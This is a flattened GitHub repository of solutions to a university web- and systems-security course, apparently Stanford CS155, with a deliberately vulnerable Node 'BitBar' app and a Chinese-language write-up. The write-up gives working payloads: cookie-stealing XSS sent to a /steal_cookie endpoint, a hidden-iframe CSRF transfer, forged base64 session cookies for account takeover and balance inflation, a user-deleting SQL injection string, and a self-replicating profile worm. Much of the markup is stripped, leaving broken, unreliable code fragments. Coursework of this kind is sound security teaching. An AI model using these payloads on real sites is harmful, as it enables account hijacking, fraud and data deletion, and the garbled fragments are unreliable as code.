├── proj2 ├── code │ ├── .babelrc │ ├── db │ │ ├── database.sqlite │ │ └── migrate │ │ │ ├── reset.js │ │ │ ├── 001-create-schema.sql │ │ │ └── 002-add-initial-users.sql │ ├── views │ │ ├── pages │ │ │ ├── theft │ │ │ │ └── view_stolen_cookie.ejs │ │ │ ├── error.ejs │ │ │ ├── login │ │ │ │ ├── success.ejs │ │ │ │ └── form.ejs │ │ │ ├── register │ │ │ │ ├── success.ejs │ │ │ │ └── form.ejs │ │ │ ├── transfer │ │ │ │ ├── success.ejs │ │ │ │ └── form.ejs │ │ │ ├── index.ejs │ │ │ └── profile │ │ │ │ └── view.ejs │ │ ├── partials │ │ │ ├── head.ejs │ │ │ ├── login-status.ejs │ │ │ └── header.ejs │ │ └── layout │ │ │ └── template.ejs │ ├── public │ │ ├── images │ │ │ └── background.jpg │ │ └── stylesheets │ │ │ ├── application.css │ │ │ └── pure-min.css │ ├── utils │ │ ├── asyncMiddleware.js │ │ ├── crypto.js │ │ └── sjcl.js │ ├── package.json │ ├── app.js │ ├── bin │ │ └── www │ └── router.js ├── build_image.sh ├── e.txt ├── proj2.pdf ├── start_server.sh ├── d.txt ├── Dockerfile ├── c.txt ├── a.txt ├── b.html └── f.txt ├── proj1 ├── proj1.pdf ├── ID.csv ├── fuzz │ ├── testcases │ │ └── bsdtar-testcase │ └── README ├── Makefile ├── sploits │ ├── shellcode.h │ ├── Makefile │ ├── sploit6.c │ ├── sploit2.c │ ├── sploit4.c │ ├── sploit1.c │ ├── sploit3.c │ ├── sploit5.c │ ├── shellcode.S │ ├── run-shellcode.c │ └── extra-credit.py ├── targets │ ├── tmalloc.h │ ├── target5.c │ ├── target1.c │ ├── target2.c │ ├── target6.c │ ├── Makefile │ ├── target3.c │ ├── target4.c │ ├── extra-credit.c │ └── tmalloc.c ├── sanity.sh └── README └── README.md /proj2/code/.babelrc: -------------------------------------------------------------------------------- 1 | { 2 | "presets": ["env"] 3 | } -------------------------------------------------------------------------------- /proj2/build_image.sh: -------------------------------------------------------------------------------- 1 | docker build -t cs155-proj2-image . -------------------------------------------------------------------------------- /proj2/e.txt: -------------------------------------------------------------------------------- 1 | user3" OR username LIKE 'user3" OR username LIKE %'; -------------------------------------------------------------------------------- /proj1/proj1.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/codeyq/cs155/HEAD/proj1/proj1.pdf -------------------------------------------------------------------------------- /proj2/proj2.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/codeyq/cs155/HEAD/proj2/proj2.pdf -------------------------------------------------------------------------------- /proj2/code/db/database.sqlite: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/codeyq/cs155/HEAD/proj2/code/db/database.sqlite -------------------------------------------------------------------------------- /proj2/code/views/pages/theft/view_stolen_cookie.ejs: -------------------------------------------------------------------------------- 1 |
<%= result %>
4 | -------------------------------------------------------------------------------- /proj1/ID.csv: -------------------------------------------------------------------------------- 1 | #SUID,username,lastname,firstname 2 | 12345678,eleethaxor,Smith,Jane 3 | 98765432,comm4nd4,Smith,Jane 4 | -------------------------------------------------------------------------------- /proj1/fuzz/testcases/bsdtar-testcase: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/codeyq/cs155/HEAD/proj1/fuzz/testcases/bsdtar-testcase -------------------------------------------------------------------------------- /proj2/code/public/images/background.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/codeyq/cs155/HEAD/proj2/code/public/images/background.jpg -------------------------------------------------------------------------------- /proj2/code/views/pages/error.ejs: -------------------------------------------------------------------------------- 1 |<%= error.stack %>4 | -------------------------------------------------------------------------------- /proj2/code/views/pages/login/success.ejs: -------------------------------------------------------------------------------- 1 |
You are now logged in.
4 | -------------------------------------------------------------------------------- /proj2/code/views/pages/register/success.ejs: -------------------------------------------------------------------------------- 1 |Your account has been created and you have been logged in.
4 | -------------------------------------------------------------------------------- /proj2/code/db/migrate/reset.js: -------------------------------------------------------------------------------- 1 | import sqlite from 'sqlite'; 2 | 3 | const db = sqlite.open('./db/database.sqlite').then(db => { 4 | db.migrate({migrationsPath:'./db/migrate/'}) 5 | }); 6 | -------------------------------------------------------------------------------- /proj1/fuzz/README: -------------------------------------------------------------------------------- 1 | TODO: Include a stack trace from GDB of bsdtar crashing on an input found by 2 | afl-fuzz. Briefly describe what the vulnerability is in the libarchive source 3 | code (2-3 sentences). 4 | -------------------------------------------------------------------------------- /proj2/code/views/partials/head.ejs: -------------------------------------------------------------------------------- 1 | 2 |Successfully transferred <%= result.amount %> bitbars to <%= result.receiver.username %>. 4 | 5 |
You now have <%= account.bitbars %> bitbars.
6 | 7 |<%= result.receiver.username %> now has <%= result.receiver.bitbars + result.amount %> bitbars.
8 | -------------------------------------------------------------------------------- /proj2/code/views/layout/template.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | <% include ../partials/head %> 5 | 6 | 7 |-------------------------------------------------------------------------------- /proj2/code/views/pages/login/form.ejs: -------------------------------------------------------------------------------- 1 |
You have <%= account.bitbars %> bitbars.
4 | 5 | 10 | 11 | <% } else { %> 12 | 13 |<%= errorMsg %>
17 | <% } %> 18 | 19 |20 | We are the most trusted crypto-currency on the Internet. Unlike Bitcoin 21 | which is unreliable due to its decentralized nature, we store all your 22 | valuable bits in a single secured SQLite database on our server. 23 | Everything is powered by Node so you know that it is safe. 24 | Sign up for an account today! 25 |
26 | 27 | <% } %> 28 | -------------------------------------------------------------------------------- /proj1/sploits/shellcode.S: -------------------------------------------------------------------------------- 1 | #include<%- errorMsg %>
10 | <% } %> 11 | 12 | <% if(loggedIn) { %> 13 | <% if(result.username == account.username) { %> 14 |0 bitbars
20 | 21 | <% if (result.username && result.profile) { %> 22 |hello
27 | 30 | 34 | 35 | 36 |byebye
37 | 38 | 39 | 42 |`来隐藏这行输出 1100 | - cookie中可能有其他的key value pair,但是题目只要拿到session,注意,**加号`+`在这里不work** 1101 | ```javascript 1102 | function getCookie(name) { 1103 | var value = "; ".concat(document.cookie); 1104 | var parts = value.split("; ".concat(name).concat("=")); 1105 | if (parts.length == 2) 1106 | return parts.pop().split(";").shift(); 1107 | } 1108 | var stolenCookie = getCookie("session"); 1109 | ``` 1110 | - 要用异步方式来发送请求 1111 | ```javascript 1112 | var xmlhttp = new XMLHttpRequest(); 1113 | xmlhttp.open('GET', 'http://localhost:3000/steal_cookie?cookie=...'); 1114 | xmlhttp.onload = function () { 1115 | // This is reached after xmlhttp.send completes and server responds 1116 | }; 1117 | xmlhttp.send(); // this method is asynchronous! 1118 | ``` 1119 | - 可以重新定向到正常的url防止出现破绽 1120 | ```javascript 1121 | window.location.replace("http://localhost:3000/profile?username=user1"); 1122 | ``` 1123 | 完整的url请求如下所示 1124 | ```html 1125 | http://localhost:3000/profile?username=
1126 | ``` 1127 | 1128 | ## Exploit Bravo Cross Site Request Forgery 1129 | `app.js`文件中,修改了以下几处,使得CSRF有可乘之机 1130 | 1131 | - Access-Control-Allow-Origin用来控制跨域访问,默认关闭 1132 | - httpOnly指只能通过http的方式来访问cookie,也就是说无法通过js来访问,比如`document.cookie` 1133 | 1134 | ```javascript 1135 | // adjust CORS policy (DO NOT CHANGE) 1136 | app.use((req, res, next) => { 1137 | res.header("Access-Control-Allow-Origin", "null"); 1138 | res.header("Access-Control-Allow-Credentials", "true"); 1139 | next(); 1140 | }); 1141 | 1142 | // set lax cookie policies (DO NOT CHANGE) 1143 | app.use(cookieSession({ 1144 | name: 'session', 1145 | maxAge: 24 * 60 * 60 * 1000, // 24 hours 1146 | signed: false, 1147 | sameSite: false, 1148 | httpOnly: false, 1149 | })); 1150 | ``` 1151 | 要注意的是,form的target指向一个空白iframe,因为正常情况下,form提交后会刷新页面,从而显示BitBar的内容,被别人发现233333,并且,只有当执行了`load`之后,才能执行`bye`中的跳转,因为在第一次load iframe的时候回执行,然后当form提交时候会再执行一次 1152 | 1153 | ```html 1154 | 1155 | 1156 |
1157 | 1158 | 1170 | 1171 | 1172 | 1176 | 1177 | 1178 | 1179 | ``` 1180 | 1181 | ## Exploit Charlie Session Hijacking with Cookies 1182 | 题目的意思是,Login的时候是attacker,但想要登陆user1的账号,并完成转账。先来看下cookie中的session是什么鬼,可以看到,session其实是一串base64的编码 1183 | ```console 1184 | $ document.cookie 1185 | "session=eyJsb2dnZWRJbiI6dHJ1ZSwiYWNjb3VudCI6eyJ1c2VybmFtZSI6ImF0dGFja2VyIiwiaGFzaGVkUGFzc3dvcmQiOiIwZmM5MjFkY2NmY2IwNzExMzJlNzIzODVmMTBkOTFkY2IyMTM5ODM3OTJkZmU5M2RlOGI1ZDMyNzRiNWE1Y2Y1Iiwic2FsdCI6IjIxODM0NzA4NDkyOTcwODYwMzY4OTQwNzEwMTMxNTYwMjE4NzQxIiwicHJvZmlsZSI6IiIsImJpdGJhcnMiOjIwfX0=" 1186 | ``` 1187 | 用`atob()`解码看看 1188 | ```json 1189 | "{\"loggedIn\":true,\"account\":{\"username\":\"attacker\",\"hashedPassword\":\"0fc921dccfcb071132e72385f10d91dcb213983792dfe93de8b5d3274b5a5cf5\",\"salt\":\"21834708492970860368940710131560218741\",\"profile\":\"\",\"bitbars\":0}}" 1190 | ``` 1191 | 再看看服务器登陆的验证机制,发现只判断了`session.loggedIn`以及去db查询`username`是否在db里,所以可以直接更改`username`来劫持session 1192 | ```javascript 1193 | router.get('/profile', asyncMiddleware(async (req, res, next) => { 1194 | if(req.session.loggedIn == false) { 1195 | render(req, res, next, 'login/form', 'Login', 'You must be logged in to use this feature!'); 1196 | return; 1197 | }; 1198 | 1199 | if(req.query.username != null) { // if visitor makes a search query 1200 | const db = await dbPromise; 1201 | const query = `SELECT * FROM Users WHERE username == "${req.query.username}";`; 1202 | let result; 1203 | try { 1204 | result = await db.get(query); 1205 | } catch(err) { 1206 | result = false; 1207 | } 1208 | if(result) { // if user exists 1209 | render(req, res, next, 'profile/view', 'View Profile', false, result); 1210 | } 1211 | else { // user does not exist 1212 | render(req, res, next, 'profile/view', 'View Profile', `${req.query.username} does not exist!`, req.session.account); 1213 | } 1214 | } else { // visitor did not make query, show them their own profile 1215 | render(req, res, next, 'profile/view', 'View Profile', false, req.session.account); 1216 | } 1217 | })); 1218 | ``` 1219 | 进行以下更改即可实现session劫持并完成转账 1220 | ```javascript 1221 | function getCookie(name) { 1222 | var value = "; ".concat(document.cookie); 1223 | var parts = value.split("; ".concat(name).concat("=")); 1224 | if (parts.length == 2) 1225 | return parts.pop().split(";").shift(); 1226 | } 1227 | var cookie = getCookie("session"); 1228 | var json = atob(cookie); 1229 | var jsonObj = JSON.parse(json); 1230 | jsonObj.account.username = "user1"; 1231 | jsonObj.account.bitbars = 200 1232 | var user1Cookie = JSON.stringify(jsonObj); 1233 | document.cookie = "session=".concat(btoa(user1Cookie)); 1234 | ``` 1235 | ## Exploit Delta Cooking the Books with Cookies 1236 | attacker给user1转账1块,然后attacker账户有一个million,方法和C完全相同,由于`transfer`过程中,BitBar数量是从session中获得,所以只要transfer一块就能把任意的数量的BitBar在数据库中固定 1237 | ```javascript 1238 | req.session.account.bitbars -= amount; 1239 | query = `UPDATE Users SET bitbars = "${req.session.account.bitbars}" WHERE username == "${req.session.account.username}";`; 1240 | await db.exec(query); 1241 | ``` 1242 | 具体js如下所示 1243 | ```javascript 1244 | function getCookie(name) { 1245 | var value = "; ".concat(document.cookie); 1246 | var parts = value.split("; ".concat(name).concat("=")); 1247 | if (parts.length == 2) 1248 | return parts.pop().split(";").shift(); 1249 | } 1250 | var cookie = getCookie("session"); 1251 | var json = atob(cookie); 1252 | var jsonObj = JSON.parse(json); 1253 | jsonObj.account.bitbars = 1000000 1254 | var attackerCookie = JSON.stringify(jsonObj); 1255 | document.cookie = "session=".concat(btoa(attackerCookie)); 1256 | ``` 1257 | 1258 | ## Exploit Echo SQL Injection 1259 | 题目要求,创建一个新的用户,点击`close`时候删除`user3`,然后也要删除刚刚新建的账号,掩人耳目2333333 1260 | 1261 | `close`的API接口如下,可以看到SQL命令把整个`username`都放进去了,所以可以注入SQL,注意题目要求不仅仅删除`user3`还要删除刚刚新建的,docker里面用的是SQLite,查doc发现只有LIKE操作,所以可以添加以下用户 1262 | 1263 | ```SQL 1264 | user3" OR username LIKE 'user3" OR username LIKE %'; 1265 | ``` 1266 | 1267 | 完整的SQL命令如下 1268 | ```SQL 1269 | DELETE FROM Users WHERE username == " user3" OR username LIKE 'user3" OR username LIKE %'; "; 1270 | ``` 1271 | 1272 | `close` API最后log一下db,发现`user3`已经消失了 1273 | ```javascript 1274 | router.get('/close', asyncMiddleware(async (req, res, next) => { 1275 | if(req.session.loggedIn == false) { 1276 | render(req, res, next, 'login/form', 'Login', 'You must be logged in to use this feature!'); 1277 | return; 1278 | }; 1279 | const db = await dbPromise; 1280 | const query = `DELETE FROM Users WHERE username == "${req.session.account.username}";`; 1281 | await db.get(query); 1282 | req.session.loggedIn = false; 1283 | req.session.account = {}; 1284 | render(req, res, next, 'index', 'Bitbar Home', 'Deleted account successfully!'); 1285 | logDatabaseState(); 1286 | })); 1287 | ``` 1288 | 1289 | ## Exploit Foxtrot Profile Worm 1290 | 题目要求,`attacker`在自己的profile上post自己的profile,其他用户如`user1`访问了`attacker`的profile时,会自动给`attacker`转账一块钱,然后复制这个worm,从而可以感染其他访问`user1`的无辜用户 1291 | 1292 | - 可参考著名的**Samy Worm**蠕虫病毒,20小时感染一百万账户,牛逼的不行💯,以及他自己写的代码解析 1293 | - [Wikipedia: 萨米 (计算机蠕虫)](https://zh.wikipedia.org/wiki/%E8%90%A8%E7%B1%B3_(%E8%AE%A1%E7%AE%97%E6%9C%BA%E8%A0%95%E8%99%AB)) 1294 | - [MySpace Worm Explanation](https://samy.pl/myspace/tech.html) 1295 | 1296 | 首先,看下profile是怎样表示的,没有任何处理直接把`result.profile`贴进HTML,和之前方法一样直接注入HTML攻击 1297 | ```html 1298 | <% if (result.username && result.profile) { %> 1299 |` tag,然后替换他们时候加上`
`,具体如下 1317 | ```javascript 1318 | var textarea = "hello
', 'hello
') 1320 | .replace('byebye
', 'byebye
'); 1321 | ``` 1322 | 这样就能保证每次都能复制worm病毒啦啦啦 1323 | 1324 | - **提交form** 1325 | 1326 | 与之前的类似,提交form的逻辑是,首先调用`load()`,提交`